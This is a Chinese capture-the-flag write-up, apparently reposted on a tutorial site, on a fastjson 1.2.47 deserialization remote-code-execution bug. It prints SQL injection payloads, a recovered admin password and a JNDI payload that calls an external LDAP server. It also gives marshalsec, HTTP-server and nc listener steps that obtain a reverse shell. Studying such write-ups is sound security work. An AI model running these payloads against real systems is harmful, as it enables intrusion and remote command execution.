溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行fastjson反序列化漏洞的分析

發(fā)布時(shí)間:2021-12-14 10:14:51 來(lái)源:億速云 閱讀:346 作者:柒染 欄目:安全技術(shù)

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)如何進(jìn)行fastjson反序列化漏洞的分析,文章內(nèi)容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

0x01:寫(xiě)在前面

拿到題目后,一開(kāi)始通過(guò)審計(jì)代碼發(fā)現(xiàn)代碼

如何進(jìn)行fastjson反序列化漏洞的分析

審計(jì)發(fā)現(xiàn)一個(gè)注入,dbname我們可控

嘗試注入

dbName=myapp#' and 1=2 union select name from myapp.user;#
dbName=myapp#' and 1=2 union select pwd from myapp.user;#

注入處賬戶密碼留作備用(后面思路轉(zhuǎn)變?yōu)閑xp后發(fā)現(xiàn) 上面賬號(hào)密碼沒(méi)有用)

admin

admin@Rrrr_ctf_asde

然后經(jīng)過(guò)逆向注意到導(dǎo)入了

io.swagger.annotations.ApiOperation;

發(fā)現(xiàn)是個(gè)swagger

Swagger在平時(shí)日常工作中用過(guò)是個(gè)優(yōu)秀的文檔編輯器

那么直接訪問(wèn)swagger-ui.html

如何進(jìn)行fastjson反序列化漏洞的分析

這里想到swagger還有fastjson庫(kù) 可以將java對(duì)象轉(zhuǎn)換成json

19年爆出很多rce漏洞。嘗試進(jìn)行查看

網(wǎng)上查詢fastjson得知存在rce漏洞

這個(gè)文章真的寫(xiě)的非常詳細(xì),可以說(shuō)是手把手教學(xué)

https://github.com/CaijiOrz/fastjson-1.2.47-RCE

看到如下

如何進(jìn)行fastjson反序列化漏洞的分析

這里很符合fastjson的反序列化漏洞的json格式

如何進(jìn)行fastjson反序列化漏洞的分析

訪問(wèn)得知如下

按著一步一步操作來(lái),首先準(zhǔn)備云服務(wù)器,并將倉(cāng)庫(kù)文件上傳到云服務(wù)器中。

如何進(jìn)行fastjson反序列化漏洞的分析

上傳成功以后進(jìn)行如下操作

首先進(jìn)行測(cè)試

云服務(wù)器監(jiān)聽(tīng)7777端口

在靶場(chǎng)執(zhí)行

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:7777/Exploit","autoCommit":true}}}

發(fā)現(xiàn)有流量回顯

那就繼續(xù)按照文檔往下做。

如何進(jìn)行fastjson反序列化漏洞的分析

Cd進(jìn)去進(jìn)行查看

修改exploit.java的ip為云服務(wù)器ip

如何進(jìn)行fastjson反序列化漏洞的分析

Javac Exploit.java編譯執(zhí)行后得到Exploit.class

繼續(xù)進(jìn)行按照如下步驟繼續(xù)執(zhí)行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer

http://121.36.19.222/#Exploit

如何進(jìn)行fastjson反序列化漏洞的分析

執(zhí)行成功如下所示,進(jìn)行監(jiān)聽(tīng)本地端口1389

如何進(jìn)行fastjson反序列化漏洞的分析

python -m SimpleHTTPServer 80

如何進(jìn)行fastjson反序列化漏洞的分析

Nc 監(jiān)聽(tīng)本地的8888端口

提交payload

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:1389/Exploit","autoCommit":true}}}

執(zhí)行后成功

如何進(jìn)行fastjson反序列化漏洞的分析

成功彈到shell ,

如何進(jìn)行fastjson反序列化漏洞的分析

執(zhí)行cat /flag可以得到如下flag

如何進(jìn)行fastjson反序列化漏洞的分析

0x02:總結(jié)

日常實(shí)戰(zhàn)中,喜歡burp帶上fastjson的檢測(cè)腳本,遇到可疑的就發(fā)包檢測(cè)一下。顯示有漏洞就嘗試payload打一下dnslog試試回顯,再進(jìn)一步進(jìn)行深挖。

上述就是小編為大家分享的如何進(jìn)行fastjson反序列化漏洞的分析了,如果剛好有類(lèi)似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI